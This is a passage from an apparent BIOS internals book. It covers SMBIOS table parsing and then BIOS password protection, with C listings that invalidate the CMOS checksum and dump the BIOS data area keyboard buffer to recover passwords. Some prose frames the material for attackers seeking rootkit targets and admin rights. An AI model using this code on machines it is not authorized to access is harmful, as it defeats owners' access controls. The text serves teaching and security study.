remote PC. The layout of this structure is shown in table 10.4; it and tables 10.5 and 10.6 
are also available in version 2.4 of the SMBIOS specification. 
 

Offset Name Length Value Description 
00h Type Byte 34 Management device indicator 
01h Length Byte 0Bh Length of the structure 
02h Handle Word Varies The handle, or instance number, associated 

with the structure 
04h Description Byte String The number of the string that contains 

additional descriptive information about the 
device or its location 

05h Type Byte Varies Defines the device's type; see table 10.5 
06h Address Dword Varies Defines the device's address 
0Ah Address 

Type 
Byte Varies Defines the type of addressing used to 

access the device; see table 10.6 
Table 10.4 Management device structure, formatted section 

Byte Value Meaning 
01h Other 
02h Unknown 
03h National Semiconductor LM75 
04h National Semiconductor LM78 
05h National Semiconductor LM79 



06h National Semiconductor LM80 
07h National Semiconductor LM81 
08h Analog Devices ADM9240 
09h Dallas Semiconductor DS1780 
0Ah Maxim 1617 
0Bh Genesys GL518SM 
0Ch Winbond W83781D 
0Dh Holtek HT82H791 

Table 10.5 Management device—type 

Byte Value Meaning 
01h Other 
02h Unknown 
03h I/O port 
04h Memory 
05h System management bus 

Table 10.6 Management device—address type 

 
 Tables 10.4 to 10.6 show the meaning of the bytes in management device structure. 
With the help of information from these tables, it will be quite easy for you to make the 
WBEM manager software query system parameters in a remote PC. However, to make 
remote hardware monitoring a reality, you first have to grant access to the remote system. 
For a malicious attacker, that would mean he or she has already implanted a backdoor in the 
remote machine and escalated his or her privilege to the administrator level. Without the 
administrator privilege, the attacker can't install a device driver, meaning he or she won't be 
able to poke around the hardware directly. With the administrator privilege, the attacker has 
the freedom to alter the BIOS. Altering the BIOS directly within the operating system was 
explained in chapter 9. 
 You might want to find another interesting SMBIOS structure in the SMBIOS 
specification. For that purpose, surf to DMTF website at http://www.dmtf.org and 
download the latest SMBIOS specification. As for the real-world code example that shows 
how to parse the SMBIOS structure table, be patient; the next section explains this. 
 
 
10.2. Remote Server Management Code Implementation 
 
 The remote server management code explained in this section is the implementation 
of the SMBIOS protocol that you learned in the previous section. Section 10.1 showed how 
SMBIOS provides detailed low-level information pertaining to the PC that implements 
SMBIOS. 
 Before I move forward to how to parse the SMBIOS structure table, I would like to 
show you how a particular BIOS implements it. In Award BIOS version 6.00PG, the basic 
SMBIOS structure is placed in the compressed awardext.rom file. You learned about the 
innards of the Award BIOS binary in chapter 5. Reread that chapter if you forget the Award 
BIOS binary structure. 



 I emphasize the basic SMBIOS structure here because the contents of the SMBIOS 
structure table will vary depending on the system configuration. It varies because the 
SMBIOS table also presents information about hardware in systems other than the 
motherboard, such as information about the installed processor and PCI expansion cards. 
 Hex dump 10.1 shows the basic SMBIOS structure table in awardext.rom of Foxconn 
955X7AA-8EKRS2 BIOS, dated November 19, 2005. 
 

Hex dump 10.1 SMBIOS Basic Structure in Foxconn BIOS 

Address  Hexadecimal Values                      ASCII Values 
0000CD60 6563 7465 6400 0D0A 005F 534D 5F00 1F02 ected...._SM_... 
0000CD70 0200 0000 0000 0000 005F 444D 495F 0000 ........._DMI_.. 
0000CD80 1000 080F 0000 0022 5651 B9FF 0F32 E4AC ......."VQ...2.. 
0000CD90 02E0 E2FB 8824 595E 0E68 A4CD 6814 ABEA .....$Y^.h..h... 
0000CDA0 0065 00E0 C306 60E8 9F00 B000 E860 0B0E .e....`......`.. 
 
 Hex dump 10.1 gives you a glimpse into the BIOS-level implementation of the 
SMBIOS interface. 
 Now, move to the next step: parsing the SMBIOS structure table from a running 
system. To accomplish the goal, extend the bios_probe4 source code. You can download 
the source code for this section at http://www.megaupload.com/?d=9VERFZM5. The links 
provide the source code for bios_probe version 0.34. This version has rudimentary 
SMBIOS table parsing support. The major difference between this version and version 0.31 
that you learned in chapter 9 is the SMBIOS support. 
 How is the SMBIOS support added? First, there is a simple change to the flash_rom.c 
file to add a new switch to parse the SMBIOS table. This change is shown in listing 10.1. 
 

Listing 10.1 SMBIOS Support in flash_rom.c 

// Irrelevant code omitted 
 
#include "smbios.h" 
 
// Irrelevant code omitted 
 
int dump_smbios_area(char * filename) 
/*++ 
Routine Description: 
   Scans the contents of SMBIOS area (0xF0000 - 0xFFFFF physical address) 
   to find SMBIOS entry point signature "_SM_". 
   If the signature is found, the SMBIOS table pointed to by the 
   SMBIOS entry point is dumped into binary file named filename. 
 
Note: This function only supports table-based implementation for SMBIOS 

                                                 
4 Bios_probe is the revamped version of the flash_n_burn utility for windows that you learned in 
chapter 9. 



      interface. Earlier implementation is unsupported. 
 
Arguments: 
   filename - The name of the file to dump the SMBIOS table 
 
Return Value: 
    0 - If failed 
    1 - If succeeded 
--*/ 
{ 
    char * buf; 
    FILE * image = NULL; 
    volatile char * smbios = NULL; 
    volatile char * smbios_table = NULL; 
    unsigned long i, smbios_tbl_len, smbios_tbl_phy_addr; 
    unsigned short smbios_struct_count; 
 
    // 
    // Search for _SM_ identifier in 0xF0000 - 0xFFFFF physical address 
    // 
    smbios = (volatile char*) MapPhysicalAddressRange(SMBIOS_PHY_START, 
                                                      SMBIOS_SIZE); 
 
    if(NULL == smbios) { 
        printf("Error: unable to map SMBIOS area \n"); 
        return 0; 
    } 
 
    for( i = 0; i < 0x10000; i += 16) 
    { 
        if( '_MS_' == *((unsigned long *)(smbios + i)) ) 
        { 
            printf("_SM_ signature found at 0x%X\n", 0xF0000+i); 
            break; 
        } 
    } 
 
    if( i == 0x10000 ) 
    {    // SMBIOS signature not found 
        UnmapPhysicalAddressRange((void*)smbios, SMBIOS_SIZE); 
        return 0; 
    } 
 
    // 
    // Check SMBIOS entry point revision 
    // 
    if( 0 == *((unsigned char*)(smbios + i + 0xA)) ) { 
        printf("The SMBIOS entry point is based on SMBIOS rev. 2.1.\n"); 
    } else { 
        printf("The SMBIOS entry point is newer than SMBIOS" 
               " rev. 2.1.\n"); 



    } 
 
    if( 'IMD_' == *((unsigned long*)(smbios + i + 0x10)) ) 
    { 
        printf("_DMI_ signature found\n"); 
    } 
 
    // 
    // Get SMBIOS structure table address and length 
    // 
    smbios_tbl_len = *((unsigned short *)(smbios + i + 0x16)); 
    printf("SMBIOS table length = 0x%X\n", smbios_tbl_len); 
 
    smbios_tbl_phy_addr = *((unsigned long *)(smbios + i + 0x18)); 
    printf("SMBIOS table physical address = 0x%X\n", 
            smbios_tbl_phy_addr); 
 
    // 
    // Get the number of SMBIOS structures in the SMBIOS structure table 
    // 
    smbios_struct_count = *((unsigned short *)(smbios + i + 0x1C)); 
    printf("number of SMBIOS structures in the table = %d\n", 
            smbios_struct_count); 
 
    // 
    // Unmap the mapped SMBIOS physical memory range 
    // 
    UnmapPhysicalAddressRange((void*)smbios, SMBIOS_SIZE); 
    smbios = NULL; 
 
    // 
    // Map and dump the SMBIOS table structures to file; 
    // note that this area is different from the SMBIOS area 
    // 
    smbios_table = (volatile char*) 
                    MapPhysicalAddressRange(smbios_tbl_phy_addr, 
                                            smbios_tbl_len); 
 
    if(NULL == smbios_table) { 
        printf("Error: unable to map SMBIOS structure table\n"); 
        return 0; 
    } 
 
 
    if (!filename){ 
        printf("Error: SMBIOS dump filename is invalid \n"); 
        UnmapPhysicalAddressRange((void*)smbios_table, smbios_tbl_len); 
        return 0; 
    } 
 
    buf = (char *) calloc(smbios_tbl_len, sizeof(char)); 



 
    if(NULL == buf) 
    { 
        printf("Error: unable to allocate memory for SMBIOS structure" 
               "table buffer!\n"); 
        UnmapPhysicalAddressRange((void*)smbios_table, smbios_tbl_len); 
        return 0; 
    } 
 
 
    if ((image = fopen(filename, "wb")) == NULL) { 
        perror(filename); 
        free( buf ); 
        UnmapPhysicalAddressRange((void*)smbios_table, smbios_tbl_len); 
        return 0; 
    } 
 
    printf("Reading SMBIOS structure table...\n"); 
    memcpy(buf, (const char *)smbios_table, smbios_tbl_len); 
    fwrite(buf, sizeof(char), smbios_tbl_len, image); 
    fclose(image); 
 
    // Parse the SMBIOS table into a text file (smbios_table.txt) 
    printf("Parsing SMBIOS structure table to smbios_table.txt ...\n"); 
    parse_smbios_table(buf, smbios_tbl_len, "smbios_table.txt"); 
 
    printf(" done\n"); 
 
    free( buf ); // Free the used heap 
 
    UnmapPhysicalAddressRange((void*)smbios_table, smbios_tbl_len); 
 
    return 1; // Success 
} 
 
// Irrelevant code omitted 
 
// 
// Changes to function usage are shown below 
// 
void usage(const char *name) 
{ 
    printf("usage: %s [-rwv] [-c chipname][file]\n", name); 
    printf("       %s  -smbios [file]\n", name); 
// Irrelevant code omitted 
    printf( "-r:    read flash and save into file\n" 
// Irrelevant code omitted 
            "-smbios: read SMBIOS area contents to file\n" 
// Irrelevant code omitted 
            "-pcie: erase pci ROM contents\n"); 
    exit(1); 



} 
 
// 
// Changes to function main are shown below 
// 
int main (int argc, char * argv[]) 
{ 
    int read_it = 0, write_it = 0, verify_it = 0, 
        pci_rom_read = 0, pci_rom_write = 0, 
        pci_rom_erase = 0, smbios_dump = 0; 
 
// Irrelevant code omitted 
 
    } else if(!strcmp(argv[1],"-smbios")) { 
        smbios_dump = 1; 
    } 
 
// Irrelevant code omitted 
 
    // 
    // If it's an SMBIOS dump request, dump the SMBIOS area (0xF0000 
       // - 0xFFFFF) to the file and then terminate the application 
    // 
    if(smbios_dump) 
    { 
       if(dump_smbios_area(filename) == 0) { 
        printf("Error: failed to dump smbios area to file\n"); 
        CleanupDriver(); // Cleanup driver interface 
        return -1; 
       } else { 
         CleanupDriver(); // Cleanup driver interface 
         return 0; 
       } 
    } 
// Irrelevant code omitted 
} 
 
 As you can see in listing 10.1, the SMBIOS support is provided in one dedicated 
function named dump_smbios_area. This function maps the SMBIOS physical address 
range (0xF0000–0xFFFFF) to the address space of the bios_probe user mode application 
with the help of the bios_probe driver that you learned in chapter 9. Then, 
dump_smbios_area scans this area for the presence of the SMBIOS structure table entry 
point. It does so by scanning the _SM_ signature string. Upon finding the entry point, 
dump_smbios_area then locates the SMBIOS table by reading the value of the structure 
table entry in the SMBIOS EPS. The dump_smbios_area function also reads the length of 
the SMBIOS table by reading the structure table length from the entry point. Then, 
dump_smbios_area unmaps the SMBIOS entry point from bios_probe and proceeds to 
map the real SMBIOS structure table to the bios_probe address space. The 
dump_smsbios_area function then copies the contents of the SMBIOS table to a 



dedicated buffer and parses the SMBIOS structure table by calling the 
parse_smbios_table function. The parse_smbios_table function is implemented in 
the smbios.c file and declared in the smbios.h file. After the SMBIOS buffer is parsed, 
dump_smsbios_area then unmaps the mapped SMBIOS structure table physical address 
and returns. 
 The parse_smbios_table function is shown in listings 10.2 and 10.3. This 
function is only a rudimentary function for parsing an SMBIOS structure table. It should be 
easy for you to extend it. 
 

Listing 10.2 smbios.h 

#ifndef __SMBIOS_H__ 
#define __SMBIOS_H__ 
 
int parse_smbios_table(char * smbios_table, unsigned long smbios_tbl_len, 
                       char * filename); 
 
#endif //__SMBIOS_H__ 

Listing 10.3 smbios.c 

/*----------------------------------------------------------------------- 
  File: smbios.c 
  Description: Provides function to parse the SMBIOS structure table 
 ----------------------------------------------------------------------*/ 
 
#include <stdlib.h> 
#include <stdio.h> 
#include <string.h> 
#include <ctype.h> 
 
enum { 
    MAX_SMBIOS_STRING = 64, // See the section on text strings in 
                               SMBIOS spec v2.4 
}; 
 
 
int parse_smbios_table(char * smbios_table, unsigned long smbios_tbl_len, 
                       char * filename) 
/*++ 
Routine Description: 
    Parse the memory buffer pointed to by smbios_table into 
    human readable SMBIOS table in a text file. 
 
Arguments: 
    smbios_table - Pointer to the smbios_table memory buffer. 
    smbios_tbl_len - The length of the smbios_table in bytes. 
    filename - Name of the text file to dump the parsing result. 
 
Return Value: 



    0 - If failed 
    1 - If succeeded 
--*/ 
{ 
    FILE * f = NULL; 
    unsigned long i, j; // Indexes to SMBIOS table buffer 
    int k, len; // String index 
    char str[MAX_SMBIOS_STRING]; 
    unsigned char bios_vendor, bios_version, bios_date; 
 
    if(NULL == smbios_table) { 
        // Invalid SMBIOS table buffer 
        return 0; 
    } 
 
    if ((f = fopen(filename, "wt")) == NULL) { 
        perror(filename); 
        return 0; 
    } 
 
    for(i = 0; i < smbios_tbl_len; ) 
    { 
        switch(smbios_table[i]) 
        { 
            case 0 : // Type 0 -- BIOS information 
                { 
                       fprintf(f, "BIOS information structure\n"); 
                       fprintf(f, "--------------------------\n"); 
                       fprintf(f, "Length = 0x%X\n", smbios_table[i+1]); 
                       fprintf(f, "Handle = 0x%X\n", 
                             *((unsigned short*)(&smbios_table[i+2])) ); 
                       fprintf(f, "BIOS starting address segment = " 
                                 "0x%X\n", 
                             *((unsigned short*)(&smbios_table[i+6])) ); 
                       fprintf(f, "BIOS ROM size = 0x%X\n", 
                                smbios_table[i+9]); 
 
                       bios_vendor = smbios_table[i+4]; 
                       bios_version = smbios_table[i+5]; 
                       bios_date = smbios_table[i+8]; 
 
                       // Point to the start of the strings 
                       i += smbios_table[i+1]; 
 
                       // "Print" the strings 
                       len = 0; 
                       k = 1; 
                       j = 0; 
                       while(1) 
                       { 
                           // Check for end-of-structure marker 



                           if(0 == 
                              *((unsigned short*)(&smbios_table[i+j])) ) 
                           { 
                              if( len > 0 ) { 
                                    memset(str, '\0' , sizeof(str)); 
                                    strncpy(str, &smbios_table[i+j-len], 
                                            len); 
                                    if(k == bios_vendor) { 
                                         fprintf(f, "BIOS vendor : %s\n", 
                                                 str); 
                                    }else if(k == bios_version) { 
                                         fprintf(f, "BIOS version : " 
                                                    "%s\n", str); 
                                    }else if(k == bios_date) { 
                                         fprintf(f, "BIOS date : %s\n", 
                                                  str); 
                                    } 
                                 } 
 
                                 fprintf(f, "\n\n"); 
 
                                 break; 
                       } 
 
                           if( ( 0 == smbios_table[i+j]) && (len > 0) ) { 
                                memset(str, '\0' , sizeof(str)); 
                                strncpy(str, &smbios_table[i+j-len], 
                                        len); 
                                if(k == bios_vendor) { 
                                     fprintf(f, "BIOS vendor : %s\n", 
                                             str); 
                                }else if(k == bios_version) { 
                                     fprintf(f, "BIOS version : %s\n", 
                                             str); 
                                }else if(k == bios_date) { 
                                     fprintf(f, "BIOS date : %s\n", str); 
                                } 
 
                                len = 0; 
                                k++; 
                       } 
 
                           if( isprint(smbios_table[i+j]) ) { 
                               len++; 
                           } 
 
                           j++; 
 
                       } 
 
                       i += (j + 2); // Point to the next structure 



 
                  }break; 
 
             default: 
                  { 
                       // Move "length" byte in the formatted area of 
                       // the structure 
                       i += smbios_table[i+1]; // Point to the start of 
                                               // the strings 
 
                       // "Print" the strings 
                       len = 0; 
                       k = 1; 
                       j = 0; 
                       while(1) 
                       { 
                            // Check for end-of-structure marker 
                            if(0 == 
                               *((unsigned short*)(&smbios_table[i+j])) ) 
                            { 
                               if( len > 0 ) { 
                                    memset(str, '\0' , sizeof(str)); 
                                    strncpy(str, &smbios_table[i+j-len], 
                                             len); 
                                    fprintf(f, "String no. %d : %s\n", k, 
                                             str); 
                               } 
 
                               fprintf(f, "\n\n"); 
 
                               break; 
                           } 
 
                           if( ( 0 == smbios_table[i+j]) && (len > 0) ) { 
                               memset(str, '\0' , sizeof(str)); 
                               strncpy(str, &smbios_table[i+j-len], 
                                         len); 
                               fprintf(f, "String no. %d : %s\n", k, 
                                         str); 
                               len = 0; 
                               k++; 
                           } 
 
                           if( isprint(smbios_table[i+j]) ) { 
                               len++; 
                           } 
 
                           j++; 
 
                       } 
 



                       i += (j + 2); // Point to the next structure 
                  }break; 
        } 
    } 
 
    fclose(f); 
 
    return 1; 
} 
 
 Listings 10.1–10.3 show how to access the SMBIOS information present in the 
system for Windows-based machines. Nevertheless, this information is also provided by the 
WMI subsystem in Windows. It's possible that WMI doesn't parse all of the SMBIOS 
structure table in the system. In that case, you probably want greater control over the 
SMBIOS structure table by parsing it yourself and using the information for your purposes. 
The use of bios_probe version 0.34 to dump SMBIOS data in my system5 is shown in 
figure 10.4. 
 

 
Figure 10.4 Dumping the SMBIOS area in my system 

 
 The binary dump of the SMBIOS area is shown in hex dump 10.2. 
 

Hex dump 10.2 SMBIOS Area of My System 

Address  Hexadecimal Values                      ASCII Values 
00000000 0013 0000 0102 00E0 0307 90DE CB7F 0000 ................ 
00000010 0000 3750 686F 656E 6978 2054 6563 686E ..7Phoenix Techn 
00000020 6F6C 6F67 6965 732C 204C 5444 0036 2E30 ologies, LTD.6.0 
00000030 3020 5047 0031 322F 3238 2F32 3030 3400 0 PG.12/28/2004. 
00000040 0001 1901 0001 0203 04FF FFFF FFFF FFFF ................ 
00000050 FFFF FFFF FFFF FFFF FF06 2000 2000 2000 .......... . . . 
00000060 2000 0002 0802 0001 0203 0420 0049 3836  .......... .I86 
00000070 3550 452D 5738 3336 3237 0020 0020 0000 5PE-W83627. . .. 
00000080 030D 0300 0103 0203 0402 0202 0220 0020 ............. . 

                                                 
5 The system is built on an DFI 865PE Infinity motherboard, 512 MB of RAM, and a Celeron 2.0 
GHz. 



00000090 0020 0020 0000 0420 0400 0103 0F02 290F . . ... ......). 
000000A0 0000 FFFB EBBF 038E 6400 FA0B D007 4104 ........d.....A. 
000000B0 0A00 0B00 FFFF 536F 636B 6574 2034 3738 ......Socket 478 
000000C0 0049 6E74 656C 0049 6E74 656C 2852 2920 .Intel.Intel(R) 
000000D0 4365 6C65 726F 6E28 5229 2043 5055 0000 Celeron(R) CPU.. 
........ 
 
 Hex dump 10.2 only shows the starting part of the SMBIOS structure table. It's too 
long; therefore, I've condensed it to save space. Listing 10.4 shows the text file result of the 
parsing process. This result is also a condensed version of the real text file. 
 

Listing 10.4 SMBIOS Structure Table Parsing Result in My System 

BIOS information structure 
-------------------------- 
Length = 0x13 
Handle = 0x0 
BIOS starting address segment = 0xE000 
BIOS ROM size = 0x7 
BIOS vendor : Phoenix Technologies, LTD 
BIOS version : 6.00PG 
BIOS date : 12/28/2004 
... 
 
 I've provided two screenshots in a local windows update server to give you a glimpse 
of what kind of remote data you can obtain through WMI. They are shown in figures 10.5 
and 10.6. 
 



 
Figure 10.5 Detailed information about a Windows machine that has been updated in the local 

Windows update server 

 



 
Figure 10.6 Status information about a Windows machine that has been updated in the local 

Windows update server 

 
 Some detailed information about the Windows machine that has been connected to 
the local Windows update server is obtained through the WMI interface exposed by the 
remote machine to the local Windows update server. 
 At this point, you might be thinking, what can be done with the SMBIOS 
information? Well, for an attacker, it can be used to obtain detailed information about the 
target system, in case he or she wants to infect it with a rootkit placed in the hardware of 
the target system. However, the first step is to obtain administrator privilege. 
 Some WMI vulnerabilities have been exposed over the past few years, and those can 
be your ticket to your goal. 
 



 Chapter 11 BIOS Security Measures 
 
PREVIEW 
 
 This chapter talks about security measures implemented in the BIOS and security 
measures at the operating system level related with the BIOS. The security measures come 
in the form of password protection, BIOS component integrity checks, operating system–
level protection, and hardware-based security measures. The component integrity check is 
not meant to be a security measure by BIOS vendors. Nevertheless, it has accidentally 
become one against random code injection to the BIOS binary. 
 
 
11.1. Password Protection 
 
 The BIOS provides a mechanism that uses passwords to protect the PC from 
unauthorized usage and BIOS configuration changes. Some BIOSs implement two types of 
passwords, user password and supervisor password. In some motherboards, there is 
additional control over this password under BIOS's Advanced BIOS Features menu in the 
Security Option setting. The Security Option setting consists of two selectable options, 
the System option and the Setup option. If you set the Security Option to System, BIOS 
will ask you for password upon boot. If you set the Security Option to Setup, BIOS will 
ask you for password when you enter the BIOS setup menu. As for the user password and 
supervisor password, I haven't found any differences between them. Only the Security 
Option setting shows a difference in a password authentication request in my 
motherboard,1 although yours may differ. Figure 11.1 shows the BIOS security option 
setting for my motherboard. 
 

 

                                                 
1 DFI 865PE Infinity revision 1.1; the BIOS date is December 28, 2004. 



Figure 11.1 BIOS security option in DFI 865PE Infinity motherboard 

 
 The password protection code implemented in BIOS is quite easy to break. There are 
two methods to break this password protection mechanism. The first one is to carry out a 
brute-force attack to the CMOS chip2 content, invalidating the CMOS chip checksum. 
(From this point on, I refer to the CMOS chip as simply CMOS.) With this method, you 
reset the contents of the CMOS to their default values, thereby disabling the password upon 
next boot. The second one is to read the password directly from the BIOS data area (BDA). 
Nevertheless, the second method is not guaranteed to work all the time. Endrazine 
described these methods in a SecurityFocus article.3 However, the person who discovered 
and shared these methods with the public for the first time was Christophe Grenier.4 I show 
you the implementation of these methods in Windows and Linux later. I explain the 
methods one by one. 
 
 
11.1.1 Invalidating the CMOS Checksum 
 
 The first method to circumvent BIOS password protection is to invalidate the CMOS 
checksum. This method works only if the machine is already booted into the operating 
system. This way, you invalidate the CMOS checksum within the context of the operating 
system. If the machine is not powered, this method is not usable because the BIOS will ask 
for the password before it's booted to the operating system. 
 CMOS contents consist of at least 128 bytes of BIOS setting data. They are accessible 
through physical ports 0x705 and 0x71.6 Nevertheless, some motherboards use more than 
128 bytes. There are three bytes of interest among the 128 bytes in CMOS, i.e., the bytes at 
offsets 0xE, 0x2E, and 0x2F. Offset 0xE contains the status of the CMOS, including the 
CMOS checksum; offset 0x2E contains the high-order byte of the CMOS checksum; and 
offset 0x2F contains the low-order byte of the CMOS checksum. Start with offset 0xE, 
which has a size of 1 byte. This offset contains CMOS diagnostic status. The meaning of 
each bit is as follows: 
 

• Bit 7—Real time clock power status (0 = CMOS has not lost power, 1 = CMOS 
has lost power) 

• Bit 6—CMOS checksum status (0 = checksum is good, 1 = checksum is bad) 
• Bit 5—POST configuration information status (0 = configuration information is 

valid, 1 = configuration information in invalid) 
• Bit 4—Memory size compare during POST (0 = POST memory equals 

configuration, 1 = POST memory does not equal configuration) 
                                                 
2 The chip that stores the BIOS setting. 
3 See the article titled "BIOS Information Leakage" at 
http://www.securityfocus.com/archive/1/archive/1/419610/100/0/threaded. 
4 See Grenier's website at http://www.cgsecurity.org. 
5 Port 0x70 acts as the "address port," used to address the contents of the CMOS. 
6 Port 0x71 acts as the "data port," used to read/write 1 byte from/into the CMOS chip. 
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• Bit 3—Fixed disk/adapter initialization (0 = initialization good, 1 = initialization 
bad) 

• Bit 2—CMOS time status indicator (0 = time is valid, 1 = time is invalid) 
• Bit 1–0—Reserved 

 
 When the CMOS checksum is invalid, the BIOS will reset the BIOS setting to the 
default setting. The preceding list shows that Bit 6 of offset 0xE indicates an invalid CMOS 
checksum with the value of one. This bit will be set if you invalidate the CMOS checksum 
at offset 0x2E or 0x2F. In my experiment, the value at offset 0x2E is replaced with its 
inversion. This is enough to invalidate the CMOS checksum. Now, I show how to 
implement this logic in bios_probe source code version 0.36. You can download this 
source code at http://www.megaupload.com/?d=UA8IJUHQ. This version of bios_probe 
is able to reset the CMOS checksum by using the method described previously within 
Windows XP/2000. Two files in the source code accommodate the CMOS checksum 
modification feature, i.e., cmos.c and cmos.h. Listings 11.1 and 11.2 show the related 
functions. 
 

Listing 11.1 CMOS Checksum Reset Function Declaration in the cmos.h File 

#ifndef __CMOS_H__ 
#define __CMOS_H__ 
 
// Irrelevant code omitted 
int reset_cmos(); 
 
#endif //__CMOS_H__ 

Listing 11.2 CMOS Checksum Reset Function Implementation in the cmos.c File 

// Irrelevant code omitted 
 
int reset_cmos() 
/*++ 
Routine Description: 
    Resets the contents of the CMOS by writing invalid CMOS checksum 
 
Arguments: 
    None 
 
Return Value: 
    Not used, can be anything 
--*/ 
{ 
    const unsigned CMOS_INDEX = 0x70; 
    const unsigned CMOS_DATA = 0x71; 
    unsigned char value; 
 
    outb(0x2E, CMOS_INDEX); 



    value = inb(CMOS_DATA); 
 
    printf("original cmos checksum = 0x%X\n", value); 
 
    value = ~value; 
 
    printf("new cmos checksum = 0x%X\n", value); 
 
    outb(0x2E, CMOS_INDEX); 
    outb(value, CMOS_DATA); // Write invalid checksum 
 
    return 0; 
} 
 
// Irrelevant code omitted 
 
 As you can see in listing 11.2, the original CMOS checksum value at offset 0x2E is 
inverted and written back to that offset. Figure 11.2 shows how to use this CMOS 
checksum invalidation feature. 

 
Figure 11.2 Resetting the CMOS checksum value with bios_probe 

 
 There are also some changes in the flash_rom.c file to accommodate the new input 
parameter to invalidate the CMOS checksum. They are shown in listing 11.3. 
 

Listing 11.3 Changes in flash_rom.c to Accommodate CMOS Checksum Invalidation 

// Irrelevant code omitted 
#include "cmos.h" 
// Irrelevant code omitted 
 
int main (int argc, char * argv[]) 
{ 
    int read_it = 0, write_it = 0, verify_it = 0, 
        pci_rom_read = 0, pci_rom_write = 0, 
        pci_rom_erase = 0, smbios_dump = 0, 
        lock_w39v040fa = 0, cmos_dump = 0, 
        cmos_reset = 0, bda_dump = 0; 
 



// Irrelevant code omitted 
 
    } else if(!strcmp(argv[1],"-reset_cmos")) { 
        cmos_reset = 1; 
 
// Irrelevant code omitted 
 
    // If it's a CMOS reset request, reset the CMOS contents 
    if( cmos_reset ) 
    { 
        printf("Resets the CMOS values..\n"); 
        reset_cmos(); 
        CleanupDriver(); // Cleanup driver interface 
        return 0; 
    } 
// Irrelevant code omitted 
} 
 
 Listing 11.3 shows that the changes in flash_rom.c mainly to accommodate the input 
parameter and call the reset_cmos function in the cmos.c file. As in previous chapters, 
bios_probe can run flawlessly only with the administrator privilege. 
 It's easy to implement the idea that you have learned in this subsection in Linux. 
Listing 11.4 shows the source code of a simple program to reset the CMOS checksum. You 
have to run this program as root to be able to obtain the necessary IOPL. 
 

Listing 11.4 Linux Implementation of CMOS Checksum Invalidation in the cmos_reset.c File 

/* 
 * cmos_reset.c : CMOS checksum reset program by Darmawan Salihun 
 */ 
#include <sys/io.h> 
#include <stdio.h> 
 
int main(int argc, char** argv) 
{ 
    const unsigned CMOS_INDEX = 0x70; 
    const unsigned CMOS_DATA = 0x71; 
    unsigned char value; 
 
    // Try to obtain the highest IOPL 
    if(0 != iopl(3)) 
    { 
        printf("Error! Unable to obtain highest IOPL\n"); 
        return -1; 
    } 
 
    outb(0x2E, CMOS_INDEX); 
    value = inb(CMOS_DATA); 
 
    printf("original CMOS checksum = 0x%X\n", value); 



 
    value = ~value; 
 
    outb(0x2E, CMOS_INDEX); 
    outb(value, CMOS_DATA); 
 
    outb(0x2E, CMOS_INDEX); 
    value = inb(CMOS_DATA); 
 
    printf("new CMOS checksum = 0x%X\n", value); 
 
    return 0; 
} 
 
 To compile the source code in listing 11.4, you can invoke GCC with the command 
shown in shell snippet 11.1 in Linux shell. 
 

Shell snippet 11.1 Compiling Linux Version Source Code of CMOS Checksum Invalidation 

gcc -o cmos_reset cmos_reset.c 
 
 The output from command in shell snippet 11.1 is an executable file named 
cmos_reset. You can execute it in the shell as shown in shell snippet 11.2. 
 

Shell snippet 11.2 Running the cmos_reset Utility 

root@opunaga:/home/pinczakko/BIOS_Passwd_Breaker# ./cmos_reset 
original CMOS checksum = 0xA 
new CMOS checksum = 0xF5 
 
 Shell snippet 11.2 shows the inverted CMOS checksum high byte as expected in the 
source code. 
 
 
11.1.2 Reading the BIOS Password from BDA 
 
 The second method to circumvent BIOS password protection is to use information 
from BDA to obtain the BIOS password. Again, this method works only if the machine is 
already booted into the operating system. You read the contents of BDA within the context 
of the operating system. Nonetheless, this password breaking method is not guaranteed to 
work in all circumstances. I found out in my experiments that if the password length was 
less than eight characters, all of them exist in the BDA. However, if it's eight or more, not 
all password characters are available in the BDA within the operating system. This is 
because of the limited size of the keyboard buffer. Furthermore, I experimented in an 
Award BIOS version 6.00PG–based motherboard. Other BIOSs might give different 
results. 



 The BDA location starts at physical address 0x400. Typically, it spans 255 bytes. The 
BDA stores status data related to the interrupt service routines in the BIOS. The keyboard 
buffer used by the BIOS is at offset 0x1E within the BDA. The length of this buffer is 32 
bytes. This is the location that you will dump into file to see the BIOS password. The last 
characters in this buffer are the BIOS password that the user enters during boot if the 
system is protected with a BIOS password. 
 As in the previous subsection, use bios_probe version 0.36 to read the contents of 
the BDA within Windows XP/2000. This version of bios_probe has been modified for 
that. Now, I show you the BDA dumping support in its source code. The declaration of the 
BDA dumping function is in the cmos.h file, as shown in listing 11.5. 
 

Listing 11.5 BDA Dumping Function Declaration in the cmos.h File 

#ifndef __CMOS_H__ 
#define __CMOS_H__ 
 
// Irrelevant code omitted 
int dump_bios_data_area(const char* filename); 
 
#endif //__CMOS_H__ 
 
 The implementation of the BDA dumping function is in the cmos.c file, as shown in 
listing 11.6. 
 

Listing 11.6 BDA Dumping Function Implementation in the cmos.c File 

int dump_bios_data_area(const char* filename) 
/*++ 
Routine Description: 
    Dumps the contents of the keyboard buffer in BDA, 
    i.e., the physical address 0x41E - 0x43D 
 
Arguments: 
    filename - The file name to dump BDA values into 
 
Return Value: 
    0 - Error 
    1 - Success 
--*/ 
{ 
    FILE * f = NULL; 
    char * buf = NULL; 
    volatile char * bda = NULL; 
    const unsigned BDA_START = 0x41E; 
    const unsigned BDA_SIZE = 32; 
 
    // 
    // Map physical address 0x400-0x4FF 



    // 
    bda = (volatile char*) MapPhysicalAddressRange(BDA_START, BDA_SIZE); 
 
    if(NULL == bda) { 
        printf("Error: unable to map BIOS data area \n"); 
        return 0; 
    } 
 
    if ((f = fopen(filename, "wb")) == NULL) { 
        perror(filename); 
        UnmapPhysicalAddressRange((void*)bda, BDA_SIZE); 
        return 0; 
    } 
 
    // 
    // Dump BDA contents (keyboard buffer only) 
    // 
    buf = (char *) malloc(BDA_SIZE); 
 
    if(NULL == buf) 
    { 
        printf( "Error! unable to allocate memory for BIOS data area" 
                 "buffer!\n"); 
        fclose(f); 
        UnmapPhysicalAddressRange((void*)bda, BDA_SIZE); 
        return 0; 
    } 
 
    memcpy(buf, bda, BDA_SIZE); 
    fwrite(buf, sizeof(char), BDA_SIZE, f); 
    free(buf); 
    fclose(f); 
 
    UnmapPhysicalAddressRange((void*)bda, BDA_SIZE); 
 
    return 1; // Success 
} 
 
 Minor changes are made in the flash_rom.c file to accommodate the BDA dumping 
function. They are shown in listing 11.7. 
 

Listing 11.7 Changes in flash_rom.c to Accommodate BDA Dumping Function 

// Irrelevant code omitted 
#include "cmos.h" 
// Irrelevant code omitted 
 
int main (int argc, char * argv[]) 
{ 
// Irrelevant code omitted 



    int bda_dump = 0; 
 
